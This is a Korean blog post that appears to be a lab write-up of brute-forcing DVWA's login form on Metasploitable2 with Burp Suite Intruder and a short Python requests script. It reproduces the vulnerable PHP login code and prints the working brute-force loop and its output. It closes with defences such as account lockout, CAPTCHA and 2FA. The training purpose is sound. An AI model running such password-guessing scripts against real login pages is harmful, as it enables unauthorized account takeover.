웹 해킹 & 보안
[웹 모의해킹] Brute Force 2 - 무차별 대입 공격 실습(Burp Suite & Python)
ahhyun98
2025. 5. 29. 17:05
이번 실습은 DVWA에서 제공하는 Brute Force 취약점을 대상으로 Burp Suite와 Python 스크립트를 활용해 무차별 대입 공격을 수행하였다. 보안 수준은 medium, high로 설정한 상태에서도 공격이 가능한지를 확인하였다.
1. 실습 환경
- 공격자 : Kali Linux
- Target : Metasploitable2 (DVWA 설치)
- 도구 : Burp Suite, Python (requests 모듈 사용)
- DVWA 주소 : http://target_ip/dvwa/vulnerabilities/brute/
- DVWA 보안 레벨 : medium / high
2. [Step 1] DVWA의 Brute Force 취약점 분석
Target 서버에 접근하여 로그인 로직이 있는 PHP 소스를 확인하였다.
if( isset( $_GET['Login'] ) ) {
$user = $_GET['username'];
$user = stripslashes($user);
$user = mysql_real_escape_string($user);
$pass = $_GET['password'];
$pass = stripslashes($pass);
$pass = mysql_real_escape_string($pass);
$pass = md5($pass);
$qry = "SELECT * FROM `users` WHERE user='$user' AND password='$pass';";
$result = mysql_query($qry) or die('<pre>' . mysql_error() . '</pre>');
if( $result && mysql_num_rows($result) == 1 ) {
$i=0;
$avatar = mysql_result($result, $i, "avatar");
echo "<p>Welcome to the password protected area " . $user . "</p>";
echo '<img src="' . $avatar . '" />';
} else {
sleep(3); // 로그인 실패 시 시간 지연
echo "<pre><br>Username and/or password incorrect.</pre>";
}
mysql_close();
}
=> 로그인 시 비밀번호는 md5() 해시를 통해 확인되며, security=medium, high 설정에서도 기본 로직은 동일하게 작동하였다.
3. [Step 2] Burp Suite를 활용한 Brute Force 공격
▶️ 1단계 : Burp Suite Proxy 설정
- Burp Suite에서 Proxy 탭에서 Intercept를 켠 상태로 브라우저 열고 DVWA 로그인 페이지 접속하기
- Brute Force 메뉴를 선택한 후, 임의의 ID a, PW b를 입력한다.
- 요청을 Intercept 한 후 "Send to Intruder"
▶️ 2단계 : Intruder 설정
1) Payload Position 설정하기
- 비밀번호 자리만 $로 선택하고 Add $
- 나머지 ID, 기타 파라미터는 Clear $ 처리
2) Payloads 설정하기
- 공격할 비밀번호 리스트를 설정 (ex. passwords.txt)
3) Payload Setting 설정하기
4) 공격 실행
- 응답 메세지 중 "Username and/or password incorrect."가 없는 응답이 실제 비밀번호로 판단됨.
- 상태 코드나 응답 길이가 유독 다른 값이 비밀번호일 가능성이 높음.
4. [Step 3] Python 스크립트를 활용한 Brute Force 공격
이번에는 requests 모듈을 활용해 Python으로 Brute Force 공격을 자동화하였다.
공격 코드
import requests
URL = "http://target_ip/dvwa/vulnerabilities/brute/"
cookies = {'PHPSESSID': 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', 'security': 'high'}
params = {'username': '', 'password': '', 'Login': 'Login'}
with open('/home/kali/Desktop/DVWA/passwords.txt') as f:
passwords = f.readlines()
passwords = [x.strip() for x in passwords]
for password in passwords:
params['username'] = 'admin'
params['password'] = password
print("Now Trying {}........".format(password))
response = requests.get(URL, params=params, cookies=cookies)
if "Username and/or password incorrect." not in response.text:
print("Success password correct!: {}".format(password))
break
항목 | 설명 |
URL | 공격 대상 페이지 URL |
cookies | 세션 유지 및 보안 레벨 설정 쿠키 |
params | 전송할 로그인 파라미터 (GET 방식) |
with open | 비밀번호 리스트 파일 열기 |
strip() | 개행 제거 |
for password in passwords: | 리스트 순회하며 공격 수행 |
response.text | 실패 메세지 없으면 성공 판단 |
결과 출력
Now Trying password1........
Now Trying 12345678........
Now Trying abc123........
......
Success password correct!:password
=> admin의 비밀번호로 password가 성공하였음을 확인하였다.
5. 마무리
- Burp Suite의 Intruder를 활용해 비밀번호 자리만 선택적으로 공격 가능함을 확인하였다.
- Python의 requests 모듈을 활용하면, 로그인 로직을 자동화하여 대량의 요청을 시도할 수 있다.
- DVWA 보안 레벨이 medium, high라도 기본적인 인증 구조가 취약하면 Brute Force는 여전히 가능하다.
- sleep(3)과 같은 시간 지연 기능이 삽입되었지만, 이는 단순한 속도 제한일 뿐 공격을 막지는 못한다.
- 실제 서비스에서는 계정 잠금, 캡챠, 2FA 등의 방어 메커니즘이 필수적이라는 것을 느낄 수 있었다.
이 블로그는 불법 해킹 및 악의적인 활동을 지양하며, 그런 행위는 절대 권장하지 않습니다.
모든 실습은 허가된 환경에서만 진행해야 하며, 법적 책임은 사용자 본인에게 있습니다.